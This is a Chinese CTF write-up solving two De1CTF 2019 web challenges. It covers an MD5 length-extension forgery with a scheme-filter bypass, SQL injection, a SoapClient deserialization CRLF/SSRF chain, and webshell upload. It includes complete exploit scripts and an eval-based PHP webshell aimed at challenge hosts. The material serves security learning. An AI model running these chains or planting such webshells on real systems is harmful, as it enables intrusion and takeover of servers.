浅析De1CTF 2019的两道web SSRF ME && ShellShellShell

0x0 前言

 这两道题目一个目测感觉是送分题还有一道是原题,但是过程挺有意思的,这里简单记录下。

0x1 题目介绍

SSRF ME

ShellShellShell

这两道题其实有点偏脑洞成分,不过给出了hint ,下面主要挑点有价值的点来学习下。

0x2 SSRF ME 解题过程

  这个题目不是特别有意思,简单的python审计+ Md5扩展长度攻击,但是有意思的是可以总结下Md5扩展攻击的秒题思路,以及脚本编写。

题目链接 (我做的时候题目环境还在:)

0x2.1 step1 审计源代码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

这里丢一下我当时自己再做这个题目写的一些草稿。

# 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。
    action = urllib.unquote(request.cookies.get("action"))
    # print(action)
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request
        .cookies.get("sign"))
    ip = request.remote_addr
    # 这里通过 http协议的header头Cookies: action=123;sign=ss
    # 还有URLPath的query: ?param=123
    # 去设置  class Task 初始化实例时 调用的实例
        if(waf(param)): # file protocol can be bypassed by use local-file:// (urllib cve)   
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) # follow it
    #     task = Task(action, param, sign, ip)
    # return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端
        def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        print ip
   # 读下Exec,简化下逻辑
  # 首先self.checkSign() 第一重限制
  #     def checkSign(self): 核心 getSign(self.action, self.param) == self.sign
  #     def getSign(action , param) 核心:
  #                         return hashlib.md5(secert_key + param + action).hexdigest()
    # 然后分析下代码:
  if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param) # here is vulunerability
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp # here,just print resp in server,dont't output user
                    tmpfile.write(resp) # save result to result.txt
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: # so we must run it to output result
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
  # 整理下整个题目的思路:
  # 两个限制的绕过
  # def waf(content) -----> local-file://
  # def checkSign(self) ---> md5扩展攻击

  # 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己    #  没写一些脚本去说明和简化这类型的通用解法
  #  https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍
  # 趁着这次做题,补充下做题的工具做法

@app.route("/geneSign", methods=['GET', 'POST']) # get step1 
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 # secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4)
 # need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4)
 # secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key
 # /geneSign?param=local-file:///etc/pwd 
 #  fe28521b6c224cad35396cacdb118890
 # secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)

写的比较乱哈,当时有脑抽了,本来到这里,完全可以利用那个

/geneSign?param=local-file:///etc/passwdread 生成对应的md5的了,

我当时也简单想了下,当时自己把正确的出题思路想通了,结果。。。以为就不行了。

这个题目这样判断的话就没办法了。

if "read" in self.action => if "scanread" in self.action:

(因为你是不可能获取到read为结尾的md5呀,是不是特别好理解,我当时就是理所当然了,以为代码是这样的。)

当时可能眼花了,其实另一方面是我觉得这个题目虽然挺普通,但是能再次回顾下md5扩展思路的一些做题技巧,因为自己大一大二一直在学习知识拓展自己的知识面,所以很少做ctf的题目,平时遇到什么类型的题基本就是自己重新理解然后写脚本来做的,所以做题速度很慢,反正就是特别菜那种,所以吸取教训之后,我就需要把一些常见的知识点写出快速秒题脚本和思路总结起来。 let us start………….

0x2.2 md5扩展攻击原理及其脚本浅析

 关于原理,小弟不才,写了篇文章放在了githud上cryptograph-of-web

我们可以通俗简单理解下md5扩展攻击原理:

常用的攻击形式:

已知: md5(secretkey+'x')

未知: key的值

求md5(secretkey+'x补位长度个\x00'+'aaa') 其实更通用的说法就是构造个能带有aaa的md5值

原理很简单:

MD5以512比特(64字节)为一组进行分组加密得到ABCD变量最后ABCD变量的级联就是最后的MD5值

那么大于64字节之后,那么ABCD变量就是前面64字节md5后的结果。

根据题目来看看怎么攻击:

0x2.3 简单分析预期考点local_file

首先我们要确定下我们读取的文件的路径:

看到waf再看到check.startswith匹配开头file我就知道先去搜下cve了

网址如下:

cve database

CVE-2019-9948

很明显有这个bug,我们跟进源码看看为啥。

mac安装路径:

/usr/local/Cellar/python@2/2.7.15_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7

然后简单看下urlopen方法

看到file 协议也是调用了封装的local_file协议

成因及其代码都相当简单,这个不是重点就不多讲了。

0x2.4 Hashdump工具使用教程

我们根据文件读取,可以读取/root/.history然后得到flag路径,就是local_file:///app/flag.txt

那么我们怎么构造满足条件的md5呢

先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')

77a4adb63c86bd6e8ad440e6123c3872

构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')

其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下

也就是把secretkey+local_file:///app/flag.txt =>看成secretkey不就是和上面等价了吗

然后打开:

然后用下小脚本转换为urlencode形式

scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read
str = r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')

得到:

scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read

然后按照python代码传递对应的参数即可。

0x 2.5 python脚本

 我感觉调用那个hashdump有点麻烦,那么有没有相关的python库能直接调用呢。

@一叶飘零师傅写的脚本

#!/usr/bin/python
# -*- coding:utf-8 -*- 

import hashpumpy
import requests
import urllib

url = 'local_file:flag.txt'
r = requests.get('http://139.180.128.86/geneSign?param='+url)
old_sign = r.content
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
cookies={
'sign': new_sign[0],
'action': urllib.quote(new_sign[1][19:])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
print(r.content)

这里有个关键的配置,可以简单说下

new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)

1.oldsign代表是md5(secret+'local_file:flag.txt'+'scan')

2.url + 'scan'代表'local_file:flag.tx' + 'scan' =local_file:flag.txscan

3.read作为按要求填充的位置。

其实42和16都是可以,关键是你怎么计算key的长度和选取input的内容。

这里取key为16那么input的内容就是local_file:flag.txtscan

上面我那个样例取key为42那么input的内容就是'scan'。

0x2.6 谈谈关于路径查找及其协议路径问题

关于flag的路径,我是通过读取/root/.history 猜到的。

其实这个题目其实都不用绕过协议也行

我们直接传入文件名也可以读取,因为不存在协议的时候,默认就是file协议

所以local-file也是可以的(我也不知道作者为啥这样写)

然后我们也可以可以发现前面payload:

local_file:flag.txt路径就是相对脚本的路径

local_file://就必须使用绝对路径(协议一般都是这样)

我们可以简单分析下代码:

这里通过getattr进行了相应协议的调用的,我们跟进看下file及其local_file

你使用file:urllib.py或者local_file:urllib.py都不会满足

if file[:1] == '/':
                urlfile = 'file://' + file
            elif file[:2] == './':
                raise ValueError("local file url may start with / or file:. Unknown url of type: %s" % url)
            return addinfourl(open(localname, 'rb'),
                              headers, urlfile)

最后直接把文件名传入了

return addinfourl(open(localname, 'rb'),
                          headers, urlfile)

还有个很有意思的点,(湖大一个师傅给的,膜)

local-file:///proc/self/cwd/flag.txt

其中

/proc/self/cwd/代表的是当前路径

很明显cwd指向的总是bash的进程,也就是取当前路径的意思。

0x3 ShellShellShell 解题过程

浅评这道题目:

这个题目虽然是原题,但是做题步骤相当繁琐,很考验一个ctfer的能力,通过复现这道题,感觉学习了很多东西。

由于题目链接已挂,我只好本地dokcer起服务来完成复盘了。

docker build -t de1ctf:web .

docker run --name ctf_de1ctf -p 8887:80 de1ctf:web

全部web服务启动:

docker-compose up -d

下载源码直接采取

官方wp的脚本GetSwp.py (感觉这个考点对于这个题目来说没啥必要)

#coding=utf-8
# import requests
import urllib
import os
os.system('mkdir source')
os.system('mkdir source/views')
file_list=['.index.php.swp','.config.php.swp','.user.php.swp','user.php.bak','views/.delete.swp','views/.index.swp','views/.login.swp','views/.logout.swp','views/.profile.swp','views/.publish.swp','views/.register.swp']
part_url='http://45.76.187.90:11027/'
for i in file_list:
    url=part_url+i
    print 'download %s '% url
    os.system('curl '+url+'>source/'+i)

0x3.1 step1 发现注入点

首先发现了各个文件都包含了config.php,跟进看看

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all(); //这里调用了全局过滤,采用了addslashes,addslashes_deep跟进这个函数可以知道

这样我们基本不要想什么插入单引号,反斜杠啥的,但是是不是不能注入呢,答案是否定的。

比如一些$_SERVER变量

或者没有单引号包裹的可控点

找注入的话,我们还是得看底层操作封装的安全性。

private function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }

    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

稍微修改下代码,方便本地调试

<?php
    function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }

    function insert($columns,$table,$values){ 

        $column = get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        // $result = $this->conn->query($sql);

        return $result;
    }
?>

一开始先自己读一下处理下逻辑。

//insert table  (`column1`, `column2`, `column3`) values (`value1`, `value2`, `value3`)
//mysql插入语句 涉及就是 table column value
//所以首先我们可以先看下get_column这个函数

    function get_column($columns){

        if(is_array($columns)) //判断$columns 变量是不是数组,如果是的话就进行下面的拼接
            $column = ' `'.implode('`,`',$columns).'` ';
      //读这句代码,很容易看错,我们需要切割来看,这里利用了`,`作为连接符号 array('1',)
      //array('1','2') => 1`,`2 => `1`,`2`
      // ' `' . implode('`,`',$columns)  .  '` '
        else
            $column = ' `'.$columns.'` ';
        return $column;
    }
//这里感觉还是没问题的,我们继续分析下去
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)).')';
// 提取出来分析: preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))

        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;

简单谈谈preg_replace的用法

// 我们首先了解preg_replace的Description
//preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
//Searches subject for matches to pattern and replaces them with replacement.

这样就能很好理解第一个是规则,第二个是替换内容,第三个是需要替换的字符串

preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))

这里关于replacement有个占位的用法

$n or //n 对应的是 第n个子正则也就是括号起来的代表是一个子分组。

所以说:

preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))
//[^`,] 这个正则的意思就是除开 ` 和 ,字符去匹配其他字符。 其实就是处理value是数组的情况
//这段代码的功能就是把`1` => '1'
//但是对于 1`or# => `1`or#` (没有可以切割的)
//然后进行替换的时候(他是根据``配对来匹配的)先匹配了前面的`1`然后后面的or#`就逃逸出单引号了,导致了注入

那么正确的写法是怎么样的呢?

$value = '('.preg_replace('/`(.*)`/','\'${1}\'',get_column($values)).')';
//这样就限制死了,不会逃逸出去了,但是这样只能处理一个没办法处理数组
//这也是这个代码注入出现的成因
// 考虑到了 如果是数组的情况  `1`,`2`,`3` 转换为 '1','2','3' 直接用那个正则是会产生注入的
//我们可以直接 str_replace('`','\'',),但是这样还是不行,至于为什么。呵呵。。。
// 那么什么方案才是比较合理的呢?
// 1.过滤输入的` 这才是根源

也就是说我们直接引入反引号,就有可能导致注入,那么我们全局搜索看看哪里进行了insert操作。

那我们直接跟进看看

@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
//首先username做了过滤
//$password 进行了md5
// get_ip() <= return $_SERVER['REMOTE_ADDR'];
//所以这里没办法进行注入,没有可控的变量。

但是还有下一处,我们跟进看看

@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
//这里的$value参数里有个$_POST['signature'],这样我们就可以进行注入了。

但是这个题目有挺多限制的,首先需要登陆,登陆的话就需要注册,注册的话就要跑一下验证码

我们可以选择跟进验证码生成的代码流程看看。

function rand_s($length = 8)
{
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
    $password = '';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

$code = rand_s(3);
$md5c = substr(md5($code),0,5);
$c_view = "substr(md5(?), 0, 5) === $md5c";
$_SESSION['code'] = $md5c;

写个脚本快速注册一个账号,之后直接丢给sqlmap跑就好了(只要没过滤,或者简单过滤,我都推荐直接用sqlmap跑,毕竟优化做得好呀)

我们可以跑出账号和密码为:

| id | ip         | username | is_admin | password                                    | allow_diff_ip |
+----+------------+----------+----------+---------------------------------------------+---------------+
| 1  | 127.0.0.1  | admin    | 1        | c991707fdf339958eded91331fb11ba0            | 0             |
| 2  | 172.17.0.1 | admin321 | 0        | 4acb4bc224acbbe3c2bfdcaa39a4324e (admin321) | 1             |

第二个是我注册的,第一个我们去解密一下

因为在login.phpmd5($_POST['password'])

我们可以得到用户名和密码是:

admin jaivypassword

0x3.2 step2 SoapClient反序列化+ CRLF + SSRF 上传拿shell1

这里登陆的admin的话做了个验证,因为由上面我们可以知道

allow_diff_ip=0

所以我们要找其他办法去绕过这层限制,最容易想到的就是ssrf了,但是这个要发送post数据包,我们先继续整理下代码,看看有没有其他有意思的点,比如一些变量覆盖什么的,呵呵。。。(这道题很适合拿来改编)

这里我们可以发现进行了一个unserialize反序列化数据的操作,并且我们可以通过注入控制序列化内容。

触发点在: views/index.php

所以我们可以全局搜索下有没有相关的魔术方法可以构造下pop链。

结果找了下好像没有,然后自闭了。。。。。php学得太浅了。。。(ps。膜一叶飘零师傅18年就这么强了,19年才开始接触php的脚本小子菜哭。)

后面我会通读一些php内置类的源码(可以跟一下php7最新的类),实践下触发反序列化的骚操作,好好补充下自己这方面的缺点。

这里贴一下柠檬师傅,fuzzphp内置类的php代码,重点是两个内置方法

get_declared_classes

get_class_methods

$ php fuzz_class.php

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
   $methods = get_class_methods($class);
   foreach ($methods as $method) {
       if (in_array($method, array(
           '__destruct',
           '__toString',
           '__wakeup',
           '__call',
           '__callStatic',
           '__get',
           '__set',
           '__isset',
           '__unset',
           '__invoke',
           '__set_state'
       ))) {
           print $class . '::' . $method . "\n";
       }
   }
}

下面开始是反序列化重点学习SoapClient分割线。。。。。。。。。(感叹自己真的是特别菜。。。)


利用条件:

通杀php5、php7

关于SOAPAction怎么CRLF,N1CTF Easy&&Hard Php Writeup写的很详细。

这里我从源码开始跟一下user_agent是怎么导致CRLF SSRF攻击的。

首先了解下SOAP的概念

SOAP(simple object access protocol)

简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML标准通用标记语言下的一个子集)的协议,它被设计成在WEB上交换结构化的和固化的信息。

是连接或web服务或客户端和web服务之间的接口

采用HTTP作为底层通讯协议, XML作为数据传送的格式

SOAP信息通常是单向传输。

然后我们看下php中SoapClient类的用法。

SoapClient::SoapClient

然后序列化的,因为__call调用_soapCall发送请求

所以简单的用法就是:

<?php
$a = new SoapClient(null, array('location' => "http://111.230.xxx.xx:8887",
                                     'uri'      => "0"));
$a->test();
$b = serialize($a);
echo $b;
unserialize($b);
echo 'test2';
// phpinfo();
?>

关于源码非常好读,直接跟下去就可以理解操作了,这里我提取关键代码出来。

直接看扩展目录 /ext/soap/soap.c

1.注册类

2.调用构造函数PHP_METHOD(SoapClient, SoapClient),解析options参数

3.获取option的user-agent添加到类的属性

4.调用__call魔术方法 PHP_METHOD(SoapClient, __call)发起请求

5.最后直接拼接进header

所以我们可以直接引入CRLF攻击,

伪造post请求,关键在于http协议的两个header

Content-Type: application/x-www-form-urlencoded

content-Length: strlen(post_data)

可以看到user_agent都在两者的前面,控制长度,便能忽略后面的东西(有空再读一下怎么解析http协议的)

所以我们可以通过利用SoapClient伪造一个post请求,那么这个post请求除了登陆还有什么用呢。

这里明显可以上传,我们有两个思路,自己通过让session过掉登陆,或者我们直接构造一个上传表单(但是还是得先登陆,不如直接带session去过掉登陆)

0x3.3 step3 内网扫描+审计题 拿flag

这个题目竟然还有下一关是另外一个原题,的确有点出乎意外的,这个题目我就很熟悉啦,p神出的。。。

我们上传shell之后,根据tips,容器通过link实现内网,我们直接扫c段就行了,执行下命令查看ifconfig获取ip

因为之前自己也在研究一些内网部署的问题,这里我们分析下怎么快速定位内网范围:

首先我们需要理解两个概念,就是网络地址和主机地址是通过子网掩码来划分的,

子网掩码的作用:

子网掩码可以分离出IP地址中的网络地址和主机地址,那为什么要分离呢?因为两台计算机要通讯,首先要判断是否处于同一个广播域内,即网络地址是否相同。如果网络地址相同,表明接受方在本网络上,那么可以把数据包直接发送到目标主机,否则就需要路由网关将数据包转发送到目的地。

我们平时常说的C段B段A段其实就是:

A类网络缺省子网掩码就是: 255.0.0.0 那么对应的ip比如 192.168.1.1 那么192就是网络地址,后面就是主机地址

B类网络缺省子网掩码: 255.255.0.0

C类网络缺省子网掩码: 255.255.255.0

比如我这个ip就只能是C段通讯的。

所以对于这个题目,我们可以通过3种方式获取到内网的ip

1.ifconfig 查看相关的网卡

2.route 查看相关的路由

3.cat /proc/net/fib_trie 查看路由树

然后直接上传msf的php,反弹shell,然后扫描就行了,我们继续分析下p神那个题目。

<?php
    $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name'])
    {
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) 
        {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1])
        {
            die("try again!!!");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hello'];
        if(@substr(file($_)[0],0,6)==='@<?php')
        {
            if(strpos($_,$new_name)===false)
            {
                include($_);
            }
            else
            {
                echo "you can do it!";
            }
        }
        unlink($new_name);
    }
    else
    {
        highlight_file(__FILE__);
    }

这里比较有意思的点是,就是如何解决unlink这个问题。

1.官方wp

利用php://filter/string.strip_tags/resource=/etc/passwd导致php segemnt fault,从而保留下来文件。

import requests
import hashlib

target = "http://172.18.0.2/"
ip = "172.18.0.3"
path = "/var/sandbox/%s/"%hashlib.md5(("prefix"+ip).encode()).hexdigest()

#proxies={'http':'http://127.0.0.1:8080'}
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"hello":(None,"php://filter/string.strip_tags/resource=/etc/passwd")}

try:
    for i in range(10):
        requests.post(target,files=files,)
except Exception as e:
    print(e)

for i in range(0,1000):
    files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"s":(None,"system('cat /etc/flag*');"),"hello":(None,path+str(i)+'.b')}
    resp = requests.post(target,files=files,).text
    if len(resp)>0:
        print(resp,i)
        break

2.利用../跳出来
3.利用/.

0x4 一些exp脚本完整源码

✘ xq17@localhost$:python serialize.php

<?php
$session_id = $_GET['sessid'];
$code = $_GET['code'];
// $target = 'http://111.230.197.23:8088/index.php?action=login';
// 这里有个坑,因为是ssrf,所以千万不要带外部的端口进来,直接是127.0.0.1/就好了,坑了有点难受
$target = 'http://127.0.0.1/index.php?action=login';
# 这里也是 特殊字符最好urlencode一下
$post_string = 'username=admin&password=jaivypassword&code='.urlencode($code);
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID='.$session_id
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
// echo base64_encode($aaa);
// echo '</br>';
echo bin2hex($aaa);
?>

✘ xq17@localhost$:python getshell_1.py

#!/usr/bin/python
# -*- coding:utf-8 -*-
# Type: UnderScoreCase

import requests
import re
import random
import string
import multiprocessing
from urllib import quote
from hashlib import md5
import sys


debug = False
deep_debug = False
retry_count = 5
timeout = 5
host = 'http://127.0.0.1:8887/'

s = requests.Session()

def get(session, url , params = { 'test': 'test'}, proxies = 0):
    retry = 0 
    while  True:
        retry += 1
        try:
            if session:
                if proxies:
                    res = s.get(url, params=params, timeout=timeout, proxies=proxies)
                else:
                    res = s.get(url, params=params, timeout=timeout)
            else:
                if proxies:
                    res = requests.get(url, params=params, proxies=proxies)
                else:
                    res = requests.get(url, params=params)
        except Exception as e:
            if retry >= retry_count:
                print('timeout or server error!')
                if debug:
                    print(e)
                exit()
            continue
        break
    return res

def post(session, url , data, proxies = 0):
    retry = 0 
    while  True:
        retry += 1
        try:
            if session:
                if proxies:
                    res = s.post(url, data=data, timeout=timeout, proxies=proxies)
                else:
                    res = s.post(url, data=data, timeout=timeout)
            else:
                if proxies:
                    res = requests.post(url, data=data, proxies=proxies)
                else:
                    res = requests.post(url, data=data)
        except Exception as e:
            if debug:
                print(e)
            if retry >= retry_count:
                print('timeout or server error!')
                exit()
            continue
        break
    return res

def get_plain(cipher, end = 5, length = 5):
    characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|''' 
    characters_ = list(characters)
    while True:
        plain = str(''.join(random.sample(characters_, length)))
        if md5(plain).hexdigest()[:end] == cipher:
            break
    return plain

def get_flag(html):
    pattern = re.compile('[a-zA-Z0-9]{6}{.*?}')
    flag_is = re.search(pattern, html)
    if flag_is:
        flag = flag_is.group()
        print("Get The Flag:.............")
        print("Flag<> " + Flag)
    else:
        print("Flag Not Found!..............")
        exit(0)

def get_code(html):
    # 验证码正则匹配
    pattern = re.compile(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-zA-Z]{5})\)')
    cipher = re.search(pattern, html).group(1)
    if debug:
        print(cipher)
    # 配置生成验证码plain长度和cipher的比较的长度
    code = get_plain(cipher, 5, 3)
    return code

def get_creds():
    username = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
    return username, password

def register():
    req_url = host + 'index.php?action=register'
    username, password = get_creds()
    resp = get(1, req_url).text
    code = get_code(resp)
    if debug:
        print(code)
    if deep_debug:
        print(resp)
    data = {
        'username': username,
        'password': password,
        'code': code
    }
    # finished register, return response html source
    reh = post(1, req_url, data).text
    if deep_debug:
        print(reh)
    return username, password

def login(username, password):
    req_url = host + 'index.php?action=login'
    resp = get(1, req_url).text
    code = get_code(resp)
    data = {
        'username': username,
        'password': password,
        'code': code
    }
    # finished login, return response html source
    reh = post(1, req_url, data).text
    if deep_debug:
        print(reh)
    return True

def get_admin_session():
    req_url = host + 'index.php?action=login'
    new_s = requests.Session()
    resp = new_s.get(req_url)
    code = get_code(resp.text)
    return new_s.cookies.get_dict()['PHPSESSID'], code

def publish(sign, mood):
    req_url = host + 'index.php?action=publish'
    data = {
        'signature': sign,
        'mood': mood
    }
    res = post(1, req_url, data)
    return res

def get_sql_payload(sessionid, code):
    req_url = 'http://127.0.0.1:8888/ctf/de1ctf/serialize.php?sessid={}&code={}'.format(sessionid, quote(code))
    resp = requests.get(req_url)
    if debug:
        print(resp.text)
    return resp.text

def get_shell_1(payload, admin_session):
    payload = '0x' + payload
    payload = 'a`,{})#'.format(payload)
    print('[+] injecting payload through sqli')
    resp = publish(payload, '0')
    if debug:
        print(payload)
    if deep_debug:
        print(resp.text)
    print('[+] triggering object deserialization -> ssrf')
    req_url = host + 'index.php?action=index'
    get(1,req_url)
    # trigger end
    s.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': admin_session})
    req_url = host + 'index.php?action=publish'
    resp = get(1, req_url)
    if deep_debug:
        print(resp.text)
    print('[+] uploading shell')
    # requests 经典的files用法
    shell = {'pic': ('xq17.php', '<?php eval($_POST[1]);echo md5(1);?>', 'image/jpeg')}
    resp = s.post(req_url, files = shell)
    if deep_debug:
        print(resp.text)
    link_shell = host + 'upload/xq17.php'
    res = get(0, link_shell)
    if res.status_code == 200:
        print('[+] shell upload success =>' + link_shell)

def main():
    username, password = register()
    login(username, password)
    # # we can get info from sqlmap
    # admin_user = 'admin'
    # admin_hash = 'c991707fdf339958eded91331fb11ba0' 
    # admin_pass = 'jaivypassword'
    # if debug:
    #   print(username, password)
    # login(admin_user, admin_pass)
    # print('[+] admin login({}, {})'.format(admin_user, admin_pass))
    # print('[+] admin session => {}'.format(s.cookies.get_dict()['PHPSESSID']))
    print('[+] login({}, {})'.format(username, password))
    print('[+] user session => {}'.format(s.cookies.get_dict()['PHPSESSID']))
    phpsessid, code = get_admin_session()
    if debug:
        print(phpsessid)
        print(code)
    print('[+] admin session => {}'.format(phpsessid))
    payload = get_sql_payload(phpsessid, code)
    get_shell_1(payload, phpsessid)
if __name__ == '__main__':
    main()

✘ xq17@localhost$:python getflag.py

一键getshell_1

一键getflag

#!/usr/bin/python
# -*- coding:utf-8 -*-

import requests

host = 'http://127.0.0.1:8888/ctf/de1ctf/'
def get_flag():
    req_url = host + 'flag.php'
    files = {'file': ('./xq17.php', '@<?php eval($_POST[1]);?>'),'file[1]':(None,'png'),'file[a]':(None,'/../xq17.php')}
    res = requests.post(req_url, files = files)
    print(res.text)
def  main():
    get_flag()
if __name__ == '__main__':
    main()

这个主要是利用end取决的是最后赋值的文件名而不是根据序号来的,然后就是/../拼接绕过随机字符串。

0x5 总结

  这几个题目都很好锻炼自己去写脚本的能力,还有就是关于webpwn写的差不多了,找些小案例源代码就可以发了。。

0x6 参考链接

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

题目githud地址

De1CTF ssrf_me 的三种解法

cocostar湖大师傅的wp

SOAP及相关漏洞研究)

PHP反序列化之session,soap,ssrf漏洞与利用详述

反序列化攻击面拓展提高篇)

N1CTF Easy&&Hard Php Writeup

从LCTF WEB签到题看PHP反序列化

反序列化之PHP原生类的利用

PHP 内核分析:类与对象

2018上海大学生安全竞赛web3解析

第十二章 trie路由--基于Linux3.10

子网划分及子网掩码计算方法

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖